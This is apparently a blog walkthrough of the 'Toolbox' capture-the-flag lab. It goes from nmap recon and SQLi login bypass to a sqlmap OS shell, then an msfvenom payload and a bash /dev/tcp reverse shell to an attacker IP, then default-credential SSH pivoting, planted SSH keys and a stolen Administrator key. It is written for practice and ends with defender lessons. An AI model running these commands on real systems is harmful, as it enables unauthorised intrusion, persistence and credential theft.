Toolbox
2024-02-14
INTRODUCTION
Continuing on with my “Let’s brush up on Windows!” series, Toolbox is the fourth box. For the previous one, see my walkthrough on Buff. Unfortunately, while this box was advertised as Windows, it’s actually 100% Linux. Yes, a little disappointing, but it’s still good practice. It might not seem like it right away, but if you have some experience with sqlmap
, then Toolbox will be a breeze.
Recon was very short; you are only meant to find one thing, and it appears right away. To gain a foothold, just apply a little ffuf-fu and sqlmap
will bridge the gap. The foothold brings you straight to the user flag. From there, take a moment to fingerprint the system in front of you: a little bit of research about the system goes a long way. If you want to finish up quickly, you don’t even need to pwn the system to gain the root flag.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-title: MegaLogistics
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 28s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-02-14T09:39:58
|_ start_date: N/A
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
(No significant results)
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered tcpwrapped
427/udp open|filtered svrloc
500/udp open|filtered isakmp
520/udp open|filtered route
623/udp open|filtered asf-rmcp
626/udp open|filtered serialnumberd
1813/udp open|filtered tcpwrapped
2223/udp open|filtered tcpwrapped
4444/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
Note that any
open|filtered
ports are either open or (much more likely) filtered.
FTP strategy
In my experience, an FTP server with anonymous login is often the best thing to check first on a box. The nmap script scan showed that anonymous login is enabled, so it’s possible to log in with the credentials anonymous : [blank]:
As noted by nmap, there is just a single file inside: docker-toolbox.exe
. It’s huge, so I’ll start downloading it now (FTP command get
) and proceed with enumeration while that’s going.
☝️ There are many ways to connect to an
FTP
server. You can useFTP
from the terminal, or a full GUI likeFileZilla
.For this box, I actually just used my file explorer
Thunar
to anonymously connect and transfer the file: to do this, just enter the addressftp://10.10.10.236
in the path bar, andThunar
will prompt you for the rest.
SMB
Something even better than an anonymous FTP
login is anonymous SMB
. SMB
has a lot more features than FTP
, and can even be utilized for RCE if it’s very poorly-configured. Unfortunately, this box has no anonymous login for smb
, and the guest account is disabled:
Webserver strategy
Noting the certificate details from the nmap scan, I added megalogistic.com
and admin.megalogistic.com
to /etc/hosts
. I don’t love the fact that I’m attacking a target with a .com
TLD 👀 Regardless, I did banner grabbing on that domain:
DOMAIN=megalogistic.com
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR admin.$DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb https://$RADDR && curl -kIL https://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from that. Now I’ll check for subdomains of megalogistic.com (using a vhost scan):
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Unsurprisingly, there is an admin page (see nmap script scan). There were also a few results of size 0 that I didn’t show in the image. I’ll move on to directory enumeration on https://megalogistic.com:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u https://$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-$DOMAIN.txt" \
--no-error
No results from that, except for the index page. What about the subdomain https://admin.megalogistic.com?
gobuster dir -w $WLIST -u https://admin.$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-admin.$DOMAIN.txt" \
--no-error
No results from that either.
Exploring the Website
The landing page at https://megalogistic.com is mostly uninteresting. I’ll go straight to the admin page, where I’m presented with a login.
Brute force the login
Just to eliminate the obvious, I’ll check for simple credentials by running Hydra against this login page. First, I’ll intercept the login request with Burp so that I can tailor my Hydra usage to match it:
I’ll also Forward that request, so that I can see what a failure looks like (It shows “Login failed” at the bottom of the form). Also, note that I’m using the Hydra -S
flag to enable SSL.
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -S admin.megalogistic.com https-post-form "/login:username=^USER^&password=^PASS^:H=Cookie: PHPSESSID=04f330734b942b0d6e27d338dc63c319:F=Login failed"
Hydra can be very frustrating to use, due to its lack of documentation and arcane syntax. I’d like to highlight the following from the above command:
- Use method https-post-form, not http-post-form, along with the
-S
option- Provide the cookie as a portion of the header (
:H=Cookie: key1=val1; key2=val2
)- The filter string (
:F=text you see if authentication failed
) must be after the cookie
Hydra did not find any valid credentials with this method.
Authentication bypass
Since this is an Apache website using PHP, there’s a good chance that the backend database uses SQL. If it’s poorly-written, we might have a simple authentication bypass using SQL injection.
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt
ffuf -w $WLIST:FUZZ -u https://admin.megalogistic.com/ -k \
-X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=admin" \
-fr 'Login failed'
🤓 Some people forget that
ffuf
is great for a lot more than vhost and directory enumeration. I’ve used it successfully for all kinds of other things, such as API fuzzing, directory traversal, LFI enumeration, and SQL injection.
This scan with ffuf was hugely successful:
You can check by running it with the -v
flag, but all of these HTTP 302 results redirect to /dashboard.php
😸
Dashboard
The dashboard opens to a couple of “ToDo” notes that provide useful hints(hopefully 🤞):
Ouch, the CSS on this dashboard was really scrapped together. Although, checking out the developer’s website, it seems that this project was very early-days for them learning frontend dev. Everybody has to start somehwere! Regardless, if you click on the Orders tab (the “people” icon ) you can fix the lack of scrolling on the table by selecting this element and setting
overflow: scroll
on it from your browser’s dev tools, allowing you to see the rest of the orders in the table.
There was no mention of “Tony” in the other two tabs. However, the printer driver thing might be important: I’ll go back and check those two UPnP http listeners that were discovered in the script scan.
Looking for printer
🚫 Wrong way. Skip this section if you are short on time.
I’ll run the UPnP nmap script against the two ports identified in the script scan:
nmap --script "upnp-info" -p 5985,47001 $RADDR
The result was not very helpful:
PORT STATE SERVICE
5985/tcp open wsman
47001/tcp open winrm
These two ports are listening for HTTP. Perhaps I’ll try enumerating them?
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$RADDR:5985/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v
ffuf -w $WLIST:FUZZ -u http://$RADDR:47001/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v
FOOTHOLD
SQLi
Since the authentication bypass was successful, there are clearly some security holes in the way that the website is handling SQL. Why not try a more comprehensive SQLi - either to enumerate the database or to gain RCE? First, I’ll try for RCE
sqlmap -u "https://admin.megalogistic.com" --cookie="PHPSESSID=04f330734b942b0d6e27d338dc63c319" --os-shell --force-ssl
Note that the
--force-ssl
option was provided. When prompted, default options were chosen at every step. In the future I’ll use the--batch
option withsqlmap
.)
🎉 The SQLi was successful using four different methods:
Excellent! I have a shell. At this point, I’ll try to form a reverse shell.
🚫 This part was a mistake. Skip both of the following numbered sections if you’re short on time.
Generate a reverse shell payload
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4446 X > revshell.exe
Start a webserver from my attacker box, serving the payload
exe
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp python3 -m http.server 8000
Using the shell I just got from the SQLi, try contacting my python webserver (just to see if it can connect):
wget http://10.10.14.9:8000 # No request received. curl http://10.10.14.9:8000 # Yep! python http.server shows a request
Use successful method to download the payload
curl -o revshell.exe http://10.10.14.9:8000/revshell.exe
It’s odd that I’m not getting any output from these commands. Only the curl
command showed any output. Things like dir
and where
are not working at all. Why would that be?
🤦♂️ Oh wow. I feel a little silly - this whole time my shell has been in linux!. I got output from curl
because the syntax is identical between Windows cmd
and Linux sh
.
Let’s try that again, but assuming a Linux target:
Start up a reverse shell listener on the attacker box:
# Open the firewall sudo ufw allow from $RADDR to any port 4444 proto tcp bash rlwrap nc -lvnp 4444
Open the os-shell using
sqlmap
:sqlmap -u "https://admin.megalogistic.com" --os-shell --batch --forms --force-ssl
Using the shell from
sqlmap
, connect back to the listener on my attacker box:bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"
USER FLAG
Postgres in container
The os-shell from sqlmap
or a reverse shell spawned from it are functionally the same. Either drops you into the directory /var/lib/postgresql/11/main
as the user postgres
. We’re clearly in a docker container - uname -a
shows:
Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
What are the important users?
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/bash
postgres:x:102:104:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Oh wow, looks like postgres
has a home directory - I’ll check if they have a flag: cd ~; ls -laH
.
🍰 Yep! The flag is right there. Just cat
it for some points.
cat user.txt
ROOT FLAG
Getting into postgres
As the user postgres
I checked for listening processes:
netstat -tulpn
There is a ``PostgreSQLdatabase listening locally on port 5432. Normally, I'd simply open a proxy for the local database, so that I can access it remotely from my attacker box. However, since I'm working out of the
sqlmapshell, that strategy presents a few complication. It's easier and more direct to simply read the database using
sqlmap` itself.
First, let’s check what databases exist:
sqlmap -u "https://admin.megalogistic.com" --batch --forms --dbs
[*] information_schema
[*] pg_catalog
[*] public
information_schema
and pg_catalog
are standard for a PostgreSQL database. Let’s read public
and see what’s inside.
sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public --tables
Database: public
[1 table]
+-------+
| users |
+-------+
Super! Finally, let’s check what’s inside by dumping the table:
sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public -T users --dump
Database: public
Table: users
[1 entry]
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 4a100a85cb5ca3616dcf137918550815 | admin |
+----------------------------------+----------+
Nice, that looks like an unsalted password hash. I tossed it into crackstation.net to see if I could get away with not even cracking it. No luck there. I’ll identify the hash type then start cracking:
🤔 Hmm… I ran the hash through both john
and hashcat
, but didn’t get any result. I’ll come back to this hash later - for now try to find another way forward.
docker-toolbox.exe
Well, now that I know I’m inside a docker container, it suddenly feels a lot more relevant to check out that docker-toolbox.exe
that I downloaded from the FTP
server
A little bit of research showed that Docker Toolbox was the predecessor to Docker Desktop for Windows
, but is now long-obsolete. Reading through the docker archive / toolbox repo on Github, I’ve discovered that every release of docker toolbox
came bundled with an .iso
image of Boot2Docker.iso
and virtualbox
.
👀 Does Docker on Windows not use overlayFS?! It’s hard to see the advantage over a traditional VM, if it simply uses a
.iso
format.
🔔 “boot2docker” might ring a bell - it’s the flavour of linux that is used for this container: 4.14.154-boot2docker
. A little more searching led to the Github repo for boot2docker. Halfway down the README
, the default credentials are listed:
Ok, so there should be SSH credentials. I’ll see if the default docker
user is on the host machine. First, I’ll get the address of the host:
# Check interfaces within the container
ifconfig
# Check routes
arp -va
? (172.17.0.1) at 02:42:91:33:c3:db [ether] on eth0
Entries: 1 Skipped: 0 Found: 1
Great, I’ll try to connect over ssh to that, using the credentials docker : tcuser:
Huh? Oh, I see: I need to upgrade my reverse shell into a terminal before I can even attempt to use SSH 💡. Please see my guide on upgrading the shell for more detail. For this, I used a regular bash
upgrade:
SHELL=/bin/bash script -q /dev/null
The SSH attempt worked perfectly after that. If I’m understanding correctly, I’ve now pivoted from the postgres
user (in the docker container) into the docker
user (in the VM that is running the container).
Persistence: docker
🚫 Wrong way. Skip this section if you’re short on time.
My reverse shell keeps dying after approximately a minute, so I’m very eager to establish a more persistent way to access the target. Redoing the whole sqlmap
> reverse shell
> shell upgrade
> ssh
chain is getting quite tedious. Thankfully, when I initially gained access I quickly checked the home
directory of docker
:
I’ll prepare an SSH key and plant it into both authorized_keys
files. First, on my attacker box, I’ll generate a key and base-64 encode it:
# used passphrase "3agle":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub > id_rsa.pub64 && cat id_rsa.pub64
Then, on the target box, make an SSH directory and plant the key:
cd ~/.ssh
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys2
Now back on the attacker box, go ahead and connect using SSH:
ssh -i ./id_rsa docker@$RADDR
Hmm… It still is not working. Is my reverse shell still in the docker container?
Whatever. I’ll proceed and just try to move fast (before the reverse shell dies again) 🤷♂️
Enumeration: docker
It looks like docker
can sudo
anything without a password; it seems that (at least inside this container) I have full access.
The home directory
🚫 Wrong way. Skip this section if you’re short on time.
Taking a look inside ~/.docker
, there are three .pem
files. One of them, key.pem
looks like it is an RSA key, so I might be able to log in using that key. I copied and pasted the contents to a local version of key.pem
on my attacker box. I’ll start up PuTTY and try it out:
- Specify the IP address under Session
- Under Connection > SSH > Auth > Credentials, browse to and select
key.pem
- Under Session again, give the session a name (“Toolbox” is fine), and click Save
- Finally, click Open
Nope! I guess those keys and certs weren’t actually useful.
root directory
Checking out the root directory /
shows something very peculiar. 🤔 This “c
” directory is not standard Linux:
Oh nice! Inside is the directory Users
. It’s part of a Windows filesystem 👏 And the root flag is sitting there in plain view:
EXTRA CREDIT: FULL PWN
Administrator SSH key
Under /c/Users/Administrator
there is (like docker
) a .ssh
directory containing a private key:
I’ll copy this over to my attacker box and see if I can log in with it.
# paste the above key into loot/id_rsa
chmod 700 loot/id_rsa
ssh -i loot/id_rsa Administrator@$RADDR
🍒 Alright! a nice SSH connection for Administrator. You can type
the root flag now if you haven’t already obtained it.
LESSONS LEARNED
Attacker
- When authentication bypass using SQLi is possible, RCE is likely also possible . The SQLi authentication bypass is evidence of faulty handling of user inputs that communicate with a database. As soon as the auth bypass is discovered, point
sqlmap
at it and see what it can do. - Hashes aren’t always useful. Thankfully, the hash that I recovered on this box was likely either MD5 or NTLM, both of which are very very fast to compute. Hence, I was able to run it through even my largest password wordlists in a matter of seconds. After doing that, I was quite confident that I wasn’t “meant” to crack that hash.
- Keys aren’t always useful. Again, thankfully, it was easy to eliminate the possibility of them being useful - all I had to do was attempt a few SSH logins.
- Check for default credentials. This is especially useful for software that is a little old (say, pre-2018?), or software that the developer thought would never be exposed to the public-facing internet. There are plenty of wordlists in Kali to help with this, but the best resource is still just a simple web search.
Defender
Defense in depth is an important paradigm. This box failed to change default credentials on an important service, and this led to us escalating our way out of the docker container. While it may have seemed to the developer that the host VM would never be exposed to public-facing internet, the truth is that their usage of default credentials made the escalation completely trivial.
Keep filesystems separate. Having a shared volume between a host system and a VM can be very convenient, but it should be removed whenever the system goes in to Production.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake